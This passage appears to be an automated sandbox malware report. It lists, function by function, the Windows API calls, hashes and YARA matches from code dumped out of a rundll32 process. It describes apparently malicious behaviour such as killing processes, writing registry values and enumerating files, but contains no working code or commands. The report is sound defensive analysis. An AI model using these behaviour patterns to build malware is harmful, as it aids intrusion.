                                            • Instruction Fuzzy Hash: B1110132654214BBD6216B68FC8EFBFBF5CEB45771F000123FA0292291CA628894C7F0
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DDA1EA Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 68stringCOMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 05DE684C: lstrlen.KERNEL32(00000000,00000000,742CC740,76F081D0,?,?,?,05DDA203,?,00000000,76F081D0,?,?,05DDACCC,00000000,0637C310), ref: 05DE68B3
                                              • Part of subcall function 05DE684C: sprintf.NTDLL ref: 05DE68D4
                                            • lstrlen.KERNEL32(00000000,742CC740,?,00000000,76F081D0,?,?,05DDACCC,00000000,0637C310), ref: 05DDA215
                                            • lstrlen.KERNEL32(?,?,?,05DDACCC,00000000,0637C310), ref: 05DDA21D
                                              • Part of subcall function 05DE1C01: RtlAllocateHeap.NTDLL(00000000,00000001,05DF1A23), ref: 05DE1C0D
                                            • strcpy.NTDLL ref: 05DDA234
                                            • lstrcat.KERNEL32(00000000,?), ref: 05DDA23F
                                              • Part of subcall function 05DD2644: lstrlen.KERNEL32(?,?,?), ref: 05DD2655
                                              • Part of subcall function 05DDC6B8: RtlFreeHeap.NTDLL(00000000,00000000,05DF1A9A,00000000), ref: 05DDC6C4
                                            • StrTrimA.SHLWAPI(00000000,=,00000000,?,?,05DDACCC,00000000,0637C310), ref: 05DDA25C
                                              • Part of subcall function 05DEE5A9: lstrlen.KERNEL32(?,00000000,00000000,00000000,?,05DDA268,00000000,?,?,05DDACCC,00000000,0637C310), ref: 05DEE5B3
                                              • Part of subcall function 05DEE5A9: _snprintf.NTDLL ref: 05DEE611
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: lstrlen$Heap$AllocateFreeTrim_snprintflstrcatsprintfstrcpy
                                            • String ID: =
                                            • API String ID: 2864389247-1428090586
                                            • Opcode ID: 52623098f7dd29e68d87a1c5c0a8b11885c9cc7860c06b3f322ba07feaca2f58
                                            • Instruction ID: bd19cb6c73a2ada110248d543c2fa7513a5f16466ac019ad288b781f6475e079
                                            • Opcode Fuzzy Hash: 52623098f7dd29e68d87a1c5c0a8b11885c9cc7860c06b3f322ba07feaca2f58
                                            • Instruction Fuzzy Hash: 9911E933A111257B4A1277B99C8CC6F7BADDF896543054117F905E7210DE36DD0197F1
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DEE863 Relevance: 10.6, APIs: 7, Instructions: 67threadCOMMON
                                            Download Yara Rule
                                            APIs
                                            • SwitchToThread.KERNEL32(?,?,05DE3ED5), ref: 05DEE88E
                                            • CloseHandle.KERNEL32(?,?,05DE3ED5), ref: 05DEE89A
                                            • CloseHandle.KERNEL32(00000000,76F1F720,?,05DD4545,00000000,?,?,?,05DE3ED5), ref: 05DEE8AC
                                            • memset.NTDLL ref: 05DEE8C3
                                            • memset.NTDLL ref: 05DEE8DA
                                            • memset.NTDLL ref: 05DEE8F1
                                            • memset.NTDLL ref: 05DEE908
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: memset$CloseHandle$SwitchThread
                                            • String ID:
                                            • API String ID: 3699883640-0
                                            • Opcode ID: 469eb5fc0bf1d2d784106e91b01f3aee2251670d61b0d1b1591ffe102abc3f34
                                            • Instruction ID: 4134c3cc4853a0ede301134c2147d14fd309508a3d06cc3dc600fb69ba838d10
                                            • Opcode Fuzzy Hash: 469eb5fc0bf1d2d784106e91b01f3aee2251670d61b0d1b1591ffe102abc3f34
                                            • Instruction Fuzzy Hash: AC11E031E620106ACA217B2DAC5AE8F7EACEFD2710B840027F509A6311DF245901CBB9
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DE9097 Relevance: 10.6, APIs: 7, Instructions: 62memorysynchronizationCOMMON
                                            Download Yara Rule
                                            APIs
                                            • RtlAllocateHeap.NTDLL(00000000,?), ref: 05DE90C8
                                            • wcstombs.NTDLL ref: 05DE90D9
                                              • Part of subcall function 05DE0052: StrChrA.SHLWAPI(?,0000002E,00000000,?,?,00000000,05DD6025,00000000,?,00000000,?,?,?,?,?,?), ref: 05DE0064
                                              • Part of subcall function 05DE0052: StrChrA.SHLWAPI(?,00000020,?,00000000,05DD6025,00000000,?,00000000,?,?,?,?,?,?), ref: 05DE0073
                                            • OpenProcess.KERNEL32(00000001,00000000,?,00000000), ref: 05DE90FA
                                            • TerminateProcess.KERNEL32(00000000,00000000), ref: 05DE9109
                                            • CloseHandle.KERNEL32(00000000), ref: 05DE9110
                                            • HeapFree.KERNEL32(00000000,00000000,00000000), ref: 05DE911F
                                            • WaitForSingleObject.KERNEL32(00000000), ref: 05DE912F
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: HeapProcess$AllocateCloseFreeHandleObjectOpenSingleTerminateWaitwcstombs
                                            • String ID:
                                            • API String ID: 417118235-0
                                            • Opcode ID: 5cec7ff16a6bbaddf568dcd7a6b0c5467f178d33295e1d3391cea126cde351bb
                                            • Instruction ID: c15c9b32fc023e217fbc2aaf8261f6ef2f0218f3bc7c9584ceb2836c65e1776d
                                            • Opcode Fuzzy Hash: 5cec7ff16a6bbaddf568dcd7a6b0c5467f178d33295e1d3391cea126cde351bb
                                            • Instruction Fuzzy Hash: 9711E731502215FBEB116F59EC5EFAB7F68FF04351F000012F90696291CBB5E990DBA0
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DD99C2 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 59stringCOMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 05DE66BC: GetTempPathA.KERNEL32(00000000,00000000,?,?,?,?,?,?,05DD43E4,00000F00), ref: 05DE66CE
                                              • Part of subcall function 05DE66BC: GetTempPathA.KERNEL32(00000000,00000000,0000001D,?,?,?,?,?,?,05DD43E4,00000F00), ref: 05DE66E7
                                              • Part of subcall function 05DE66BC: GetCurrentThreadId.KERNEL32 ref: 05DE66F4
                                              • Part of subcall function 05DE66BC: GetSystemTimeAsFileTime.KERNEL32(00000F00,?,?,?,?,?,?,05DD43E4,00000F00), ref: 05DE6700
                                              • Part of subcall function 05DE66BC: GetTempFileNameA.KERNEL32(00000000,00000000,00000F00,00000000,?,?,?,?,?,?,05DD43E4,00000F00), ref: 05DE670E
                                              • Part of subcall function 05DE66BC: lstrcpy.KERNEL32(00000000), ref: 05DE6730
                                            • lstrcpy.KERNEL32(-000000FC,00000000), ref: 05DD99FC
                                            • CreateDirectoryA.KERNEL32(00000000,00000000,?,?,00002365), ref: 05DD9A0E
                                            • GetTickCount.KERNEL32 ref: 05DD9A19
                                            • GetTempFileNameA.KERNEL32(00000000,00000000,00000000,?,?,00002365), ref: 05DD9A25
                                            • lstrcpy.KERNEL32(00000000), ref: 05DD9A3F
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Temp$Filelstrcpy$NamePathTime$CountCreateCurrentDirectorySystemThreadTick
                                            • String ID: \Low
                                            • API String ID: 1629304206-4112222293
                                            • Opcode ID: dab58e8368f4bbc7ba5a173162546614ec96e07f945393eaa99cccbb4704e920
                                            • Instruction ID: 2bdf870feca92a4a398242a946fcc48a5d5b8cade137b5cc8ff892ae7073f2ba
                                            • Opcode Fuzzy Hash: dab58e8368f4bbc7ba5a173162546614ec96e07f945393eaa99cccbb4704e920
                                            • Instruction Fuzzy Hash: BB01DE32216624ABD620ABB9AC5DF6BBF9CEF46651B050127F501D2280CF29DA4087B5
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DE1DFD Relevance: 9.2, APIs: 6, Instructions: 202synchronizationCOMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 05DE1C01: RtlAllocateHeap.NTDLL(00000000,00000001,05DF1A23), ref: 05DE1C0D
                                            • GetLastError.KERNEL32(?,?,?,00001000,?,05DF9314,76F1F750), ref: 05DE1E7E
                                            • WaitForSingleObject.KERNEL32(00000000,00000000,?,?,?,05DF9314,76F1F750), ref: 05DE1F03
                                            • CloseHandle.KERNEL32(00000000,?,05DF9314,76F1F750), ref: 05DE1F1D
                                            • OpenProcess.KERNEL32(00100000,00000000,00000000,?,?,?,05DF9314,76F1F750), ref: 05DE1F52
                                              • Part of subcall function 05DE012F: RtlReAllocateHeap.NTDLL(00000000,?,?,05DD171E), ref: 05DE013F
                                            • WaitForSingleObject.KERNEL32(?,00000064,?,05DF9314,76F1F750), ref: 05DE1FD4
                                            • CloseHandle.KERNEL32(F0FFC983,?,05DF9314,76F1F750), ref: 05DE1FFB
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: AllocateCloseHandleHeapObjectSingleWait$ErrorLastOpenProcess
                                            • String ID:
                                            • API String ID: 3115907006-0
                                            • Opcode ID: e4c8013a058e167f0c150c22a6187901c6be33f8d3aca6bf0a392847852b7c28
                                            • Instruction ID: 6862e1defd313a9c0dae41568ec237e6c997c6aabd3d0e0f5634e8708096b236
                                            • Opcode Fuzzy Hash: e4c8013a058e167f0c150c22a6187901c6be33f8d3aca6bf0a392847852b7c28
                                            • Instruction Fuzzy Hash: A4810875E00219EFDF11EF98C884AADFBB6FF08751F15845AE916AB250C731E950CBA0
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DD9BF3 Relevance: 9.2, APIs: 6, Instructions: 200timestringCOMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 05DE1C01: RtlAllocateHeap.NTDLL(00000000,00000001,05DF1A23), ref: 05DE1C0D
                                            • FileTimeToLocalFileTime.KERNEL32(00000000,?), ref: 05DD9C55
                                            • FileTimeToSystemTime.KERNEL32(?,?), ref: 05DD9C63
                                            • lstrlenW.KERNEL32(00000010), ref: 05DD9C73
                                            • lstrlenW.KERNEL32(00000218), ref: 05DD9C7F
                                            • FileTimeToLocalFileTime.KERNEL32(00000001,?), ref: 05DD9D6C
                                            • FileTimeToSystemTime.KERNEL32(?,?), ref: 05DD9D7A
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Time$File$LocalSystemlstrlen$AllocateHeap
                                            • String ID:
                                            • API String ID: 1122361434-0
                                            • Opcode ID: 73bf95648481a5fefa33d64fbe10d9f2299622023e9bcb7b357dd9aadff9d965
                                            • Instruction ID: fd7f0d67e38779a9f802d493062d628d856f370022227f7253e8894a11081ff7
                                            • Opcode Fuzzy Hash: 73bf95648481a5fefa33d64fbe10d9f2299622023e9bcb7b357dd9aadff9d965
                                            • Instruction Fuzzy Hash: C771D971A0021AABCB50DFA9C884EEEB7F9FF08205F144466F545E7250EA39AA45DB60
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DDEC0C Relevance: 9.1, APIs: 6, Instructions: 133registrysynchronizationthreadCOMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 05DD5A14: lstrlenW.KERNEL32(?,00000000,76EC69A0,?,00000250,?,00000000), ref: 05DD5A60
                                              • Part of subcall function 05DD5A14: lstrlenW.KERNEL32(?,?,00000000), ref: 05DD5A6C
                                              • Part of subcall function 05DD5A14: memset.NTDLL ref: 05DD5AB4
                                              • Part of subcall function 05DD5A14: FindFirstFileW.KERNEL32(00000000,00000000), ref: 05DD5ACF
                                              • Part of subcall function 05DD5A14: lstrlenW.KERNEL32(0000002C), ref: 05DD5B07
                                              • Part of subcall function 05DD5A14: lstrlenW.KERNEL32(?), ref: 05DD5B0F
                                              • Part of subcall function 05DD5A14: memset.NTDLL ref: 05DD5B32
                                              • Part of subcall function 05DD5A14: wcscpy.NTDLL ref: 05DD5B44
                                            • WaitForSingleObject.KERNEL32(00000000,?,06379998,?,00000000,00000000,00000001), ref: 05DDECB6
                                            • RegOpenKeyA.ADVAPI32(80000001,?,?), ref: 05DDECF0
                                            • RegSetValueExA.ADVAPI32(?,?,00000000,00000004,00000000,00000004), ref: 05DDED13
                                            • RegCloseKey.ADVAPI32(?), ref: 05DDED1C
                                            • WaitForSingleObject.KERNEL32(00000000), ref: 05DDED80
                                            • RtlExitUserThread.NTDLL(?), ref: 05DDEDB6
                                              • Part of subcall function 05DF13BB: CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000,00000008,00000000,00000000,?,?,05DEA2F0,00000000,?,?), ref: 05DF13D9
                                              • Part of subcall function 05DF13BB: GetFileSize.KERNEL32(00000000,00000000,?,?,05DEA2F0,00000000,?,?,?,00000000,-00000007,05DE377E,-00000007,?,00000000), ref: 05DF13E9
                                              • Part of subcall function 05DF13BB: CloseHandle.KERNEL32(000000FF,?,?,05DEA2F0,00000000,?,?,?,00000000,-00000007,05DE377E,-00000007,?,00000000), ref: 05DF144B
                                              • Part of subcall function 05DD3486: CreateFileW.KERNEL32(?,C0000000,0000FDE9,00000000,00000001,00000080,00000000,00000008,00000000,0000FDE9,?), ref: 05DD34C6
                                              • Part of subcall function 05DD3486: GetLastError.KERNEL32 ref: 05DD34D0
                                              • Part of subcall function 05DD3486: WaitForSingleObject.KERNEL32(000000C8), ref: 05DD34F5
                                              • Part of subcall function 05DD3486: CreateFileW.KERNEL32(?,C0000000,00000000,00000000,00000001,00000080,00000000), ref: 05DD3518
                                              • Part of subcall function 05DD3486: SetFilePointer.KERNEL32(?,00000000,00000000,00000002), ref: 05DD3540
                                              • Part of subcall function 05DD3486: WriteFile.KERNEL32(?,00001388,?,?,00000000), ref: 05DD3555
                                              • Part of subcall function 05DD3486: SetEndOfFile.KERNEL32(?), ref: 05DD3562
                                              • Part of subcall function 05DD3486: CloseHandle.KERNEL32(?), ref: 05DD357A
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: File$lstrlen$CloseCreateObjectSingleWait$Handlememset$ErrorExitFindFirstLastOpenPointerSizeThreadUserValueWritewcscpy
                                            • String ID:
                                            • API String ID: 90276831-0
                                            • Opcode ID: 594e3b35967935e12d675945f4e7a3fe2a3e71e3f475ab588efc8eb07010b3e5
                                            • Instruction ID: 29bad73631d2198917e97b8452964a27ca3daaaa289ef1a9e358fe4c9f1dffcd
                                            • Opcode Fuzzy Hash: 594e3b35967935e12d675945f4e7a3fe2a3e71e3f475ab588efc8eb07010b3e5
                                            • Instruction Fuzzy Hash: 75510A71A11209AFDB14DF99D889FAABBBDFB08304F014067F604EB350DB70AA45DB61
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DEF984 Relevance: 9.1, APIs: 6, Instructions: 124memoryCOMMON
                                            Download Yara Rule
                                            APIs
                                            • RtlImageNtHeader.NTDLL(?), ref: 05DEF99D
                                              • Part of subcall function 05DD65B6: lstrlenW.KERNEL32(00000000,76F1F560,00000000,?,00000000,?,?,05DD5512,00000020), ref: 05DD65E2
                                              • Part of subcall function 05DD65B6: RtlAllocateHeap.NTDLL(00000000,?), ref: 05DD65F4
                                              • Part of subcall function 05DD65B6: CreateDirectoryW.KERNEL32(00000000,00000000,?,?,05DD5512,00000020), ref: 05DD6611
                                              • Part of subcall function 05DD65B6: lstrlenW.KERNEL32(00000000,?,?,05DD5512,00000020), ref: 05DD661D
                                              • Part of subcall function 05DD65B6: HeapFree.KERNEL32(00000000,00000000,?,?,05DD5512,00000020), ref: 05DD6631
                                            • RtlEnterCriticalSection.NTDLL(00000000), ref: 05DEF9D5
                                            • CloseHandle.KERNEL32(?), ref: 05DEF9E3
                                            • HeapFree.KERNEL32(00000000,?,?,00000001,?,?,00001000,?,?,00001000), ref: 05DEFABC
                                            • RtlLeaveCriticalSection.NTDLL(00000000), ref: 05DEFACB
                                            • HeapFree.KERNEL32(00000000,00000000,?,?,00001000,?,?,00001000), ref: 05DEFADE
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Heap$Free$CriticalSectionlstrlen$AllocateCloseCreateDirectoryEnterHandleHeaderImageLeave
                                            • String ID:
                                            • API String ID: 1719504581-0
                                            • Opcode ID: 9bf042999fafa47d9afd4f98ac7a2d36f82c83e53aabfea561ab94b3f0822c76
                                            • Instruction ID: 614a31db3e39b19dd51e08d495e82d971b1814a62ec17b5ef818431e604998fc
                                            • Opcode Fuzzy Hash: 9bf042999fafa47d9afd4f98ac7a2d36f82c83e53aabfea561ab94b3f0822c76
                                            • Instruction Fuzzy Hash: 0D416236A14606BBDB11EF98D88AF9E7BBAFB44710F054427F9059B250DB70DA84CB90
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DED4B8 Relevance: 9.1, APIs: 6, Instructions: 122threadCOMMON
                                            Download Yara Rule
                                            APIs
                                            • GetModuleHandleA.KERNEL32(00000000,?), ref: 05DED513
                                            • GetLastError.KERNEL32 ref: 05DED539
                                            • SetEvent.KERNEL32(00000000), ref: 05DED54C
                                            • GetModuleHandleA.KERNEL32(00000000), ref: 05DED595
                                            • memset.NTDLL ref: 05DED5AA
                                            • RtlExitUserThread.NTDLL(?), ref: 05DED5DF
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: HandleModule$ErrorEventExitLastThreadUsermemset
                                            • String ID:
                                            • API String ID: 3978817377-0
                                            • Opcode ID: 8e624a9916a6e986ed40c72afca11a7c6eadc24bd67af57670078c5682607127
                                            • Instruction ID: 84d13784dcad6562ed1ee41c29d5b782f5878cdd1d69f2b196fd4653048f7998
                                            • Opcode Fuzzy Hash: 8e624a9916a6e986ed40c72afca11a7c6eadc24bd67af57670078c5682607127
                                            • Instruction Fuzzy Hash: 39412E71900604AFCB21FF68DD88CAEBBBAFF85615764491EF547D6600DB30AE45CB21
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DEF70B Relevance: 9.1, APIs: 6, Instructions: 117COMMON
                                            Download Yara Rule
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID:
                                            • String ID:
                                            • API String ID:
                                            • Opcode ID: 7e234cee314f5eca26bac7629b1b2411dbc1f51d749e178f7b2cb32c7a8b1dc6
                                            • Instruction ID: bbc260fa57309e6addc9f5b756f999010f669fa645b9752706ac532b735ff1a5
                                            • Opcode Fuzzy Hash: 7e234cee314f5eca26bac7629b1b2411dbc1f51d749e178f7b2cb32c7a8b1dc6
                                            • Instruction Fuzzy Hash: FA4198B16047129FD720BF799CC996BBBA9FB45324B004A2FF6A6C7280D7709485CB61
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DD24FE Relevance: 9.1, APIs: 6, Instructions: 108stringsynchronizationCOMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 05DDADF8: lstrlen.KERNEL32(?,00000008,-00000007,?,00000000,05DEA2DC,?,00000000,-00000007,05DE377E,-00000007,?,00000000), ref: 05DDAE07
                                              • Part of subcall function 05DDADF8: mbstowcs.NTDLL ref: 05DDAE23
                                            • lstrlenW.KERNEL32(00000000,?), ref: 05DD2551
                                              • Part of subcall function 05DD5A14: lstrlenW.KERNEL32(?,00000000,76EC69A0,?,00000250,?,00000000), ref: 05DD5A60
                                              • Part of subcall function 05DD5A14: lstrlenW.KERNEL32(?,?,00000000), ref: 05DD5A6C
                                              • Part of subcall function 05DD5A14: memset.NTDLL ref: 05DD5AB4
                                              • Part of subcall function 05DD5A14: FindFirstFileW.KERNEL32(00000000,00000000), ref: 05DD5ACF
                                              • Part of subcall function 05DD5A14: lstrlenW.KERNEL32(0000002C), ref: 05DD5B07
                                              • Part of subcall function 05DD5A14: lstrlenW.KERNEL32(?), ref: 05DD5B0F
                                              • Part of subcall function 05DD5A14: memset.NTDLL ref: 05DD5B32
                                              • Part of subcall function 05DD5A14: wcscpy.NTDLL ref: 05DD5B44
                                            • PathFindFileNameW.SHLWAPI(00000000,00000000,?,?,00000000,00000000,00000000), ref: 05DD2572
                                            • lstrlenW.KERNEL32(?), ref: 05DD259E
                                              • Part of subcall function 05DD5A14: PathFindFileNameW.SHLWAPI(0000001C,?,?,?,?,00000000), ref: 05DD5B6A
                                              • Part of subcall function 05DD5A14: RtlEnterCriticalSection.NTDLL(?), ref: 05DD5BA0
                                              • Part of subcall function 05DD5A14: RtlLeaveCriticalSection.NTDLL(?), ref: 05DD5BBC
                                              • Part of subcall function 05DD5A14: FindNextFileW.KERNEL32(?,00000000), ref: 05DD5BD5
                                              • Part of subcall function 05DD5A14: WaitForSingleObject.KERNEL32(00000000), ref: 05DD5BE7
                                              • Part of subcall function 05DD5A14: FindClose.KERNEL32(?), ref: 05DD5BFC
                                              • Part of subcall function 05DD5A14: FindFirstFileW.KERNEL32(00000000,00000000), ref: 05DD5C10
                                              • Part of subcall function 05DD5A14: lstrlenW.KERNEL32(0000002C), ref: 05DD5C32
                                            • LocalFree.KERNEL32(?,?,?,?,00000000,00000000,00000000), ref: 05DD25BB
                                            • WaitForSingleObject.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000), ref: 05DD25DC
                                            • PathFindFileNameW.SHLWAPI(0000001E), ref: 05DD25F1
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: lstrlen$Find$File$NamePath$CriticalFirstObjectSectionSingleWaitmemset$CloseEnterFreeLeaveLocalNextmbstowcswcscpy
                                            • String ID:
                                            • API String ID: 2670873185-0
                                            • Opcode ID: 2239c1e85267a995714093267a4967dd924a855dcbd58a920abaa4aa5b6817d4
                                            • Instruction ID: 2ce4b73c59207b0cd28ac5a6f20f8c9ad48ba42f03d7cd07bf30a80304b0f078
                                            • Opcode Fuzzy Hash: 2239c1e85267a995714093267a4967dd924a855dcbd58a920abaa4aa5b6817d4
                                            • Instruction Fuzzy Hash: CC313F72514245AFC711AF68D888C6FFBEAFF88358F10092BF58593210EB31D9459B72
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DD9608 Relevance: 9.1, APIs: 6, Instructions: 93memorystringCOMMON
                                            Download Yara Rule
                                            APIs
                                            • lstrlen.KERNEL32(00000000,00000104,05DF3407,00000000,?,?,05DD80C4,?,?,?,00000000), ref: 05DD9624
                                            • lstrlen.KERNEL32(?,00000104,05DF3407,00000000,?,?,05DD80C4,?,?,?), ref: 05DD963A
                                            • lstrlen.KERNEL32(?,00000104,05DF3407,00000000,?,?,05DD80C4,?,?,?), ref: 05DD964F
                                            • RtlAllocateHeap.NTDLL(00000000,?,?), ref: 05DD96B4
                                            • _snprintf.NTDLL ref: 05DD96DA
                                            • HeapFree.KERNEL32(00000000,00000000,00000000,00000000,00000012,00000001,00000000), ref: 05DD96F9
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: lstrlen$Heap$AllocateFree_snprintf
                                            • String ID:
                                            • API String ID: 3180502281-0
                                            • Opcode ID: 6f1ae557a8f33a7630039889deb0e42d3913e0d8388adc9414bd17e8ba1ab680
                                            • Instruction ID: 4aa517bb4505385781bfe61609af88681a8bb4d7bb87a7ebd2e5b09b180b3e4f
                                            • Opcode Fuzzy Hash: 6f1ae557a8f33a7630039889deb0e42d3913e0d8388adc9414bd17e8ba1ab680
                                            • Instruction Fuzzy Hash: 1F314C72A10119FFCF11DFA9DC8499BBBBAFB44254B018427F905A7210DB729E54DBA0
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DD47FF Relevance: 9.1, APIs: 6, Instructions: 91timememoryCOMMON
                                            Download Yara Rule
                                            APIs
                                            • OpenWaitableTimerA.KERNEL32(00100002,00000000,?), ref: 05DD4819
                                            • CreateWaitableTimerA.KERNEL32(05DF9208,?,?), ref: 05DD4836
                                            • GetLastError.KERNEL32(?,?), ref: 05DD4847
                                              • Part of subcall function 05DDEEA4: RegQueryValueExA.KERNEL32(?,?,00000000,?,00000000,?,00000000,00000000,?,7711D3B0,76EC5520,?,?,?,05DD21C2,?), ref: 05DDEEDC
                                              • Part of subcall function 05DDEEA4: RtlAllocateHeap.NTDLL(00000000,?), ref: 05DDEEF0
                                              • Part of subcall function 05DDEEA4: RegQueryValueExA.ADVAPI32(?,?,00000000,?,00000000,?,?,?,?,05DD21C2,?,?,?), ref: 05DDEF0A
                                              • Part of subcall function 05DDEEA4: RegCloseKey.KERNEL32(?,?,?,?,05DD21C2,?,?,?), ref: 05DDEF34
                                            • GetSystemTimeAsFileTime.KERNEL32(?,00000000,?,?,?,?), ref: 05DD4887
                                            • SetWaitableTimer.KERNEL32(?,?,00000000,00000000,00000000,00000000,?,?), ref: 05DD48A6
                                            • HeapFree.KERNEL32(00000000,?,00000000,?,?,?,?), ref: 05DD48BC
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: TimerWaitable$HeapQueryTimeValue$AllocateCloseCreateErrorFileFreeLastOpenSystem
                                            • String ID:
                                            • API String ID: 1835239314-0
                                            • Opcode ID: 9d91b5c35cd226c2eaecdb717092dbff63656aede5aa67bee3e7f85e544b5f78
                                            • Instruction ID: 3817c9dd6103ba9581177857865abd2e15d46a329f54d41d1f563343a9115bc9
                                            • Opcode Fuzzy Hash: 9d91b5c35cd226c2eaecdb717092dbff63656aede5aa67bee3e7f85e544b5f78
                                            • Instruction Fuzzy Hash: D8310875910288EFCF21DFA9D889CAFBFB9FB84791B104416F505A6200D7709A84CBB2
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DD8C82 Relevance: 9.1, APIs: 6, Instructions: 78memoryCOMMON
                                            Download Yara Rule
                                            APIs
                                            • StrChrA.SHLWAPI(?,00000020), ref: 05DD8C9A
                                            • StrChrA.SHLWAPI(00000001,00000020), ref: 05DD8CAB
                                              • Part of subcall function 05DDBF9A: lstrlen.KERNEL32(?,?,00000000,00000000,?,05DDC555,00000000,?,?,00000000,00000001), ref: 05DDBFAC
                                              • Part of subcall function 05DDBF9A: StrChrA.SHLWAPI(?,0000000D,?,05DDC555,00000000,?,?,00000000,00000001), ref: 05DDBFE4
                                            • RtlAllocateHeap.NTDLL(00000000,?,?), ref: 05DD8CEB
                                            • memcpy.NTDLL(00000000,?,00000007), ref: 05DD8D18
                                            • memcpy.NTDLL(00000000,?,?,00000000,?,00000007), ref: 05DD8D27
                                            • memcpy.NTDLL(?,?,?,00000000,?,?,00000000,?,00000007), ref: 05DD8D39
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: memcpy$AllocateHeaplstrlen
                                            • String ID:
                                            • API String ID: 1819133394-0
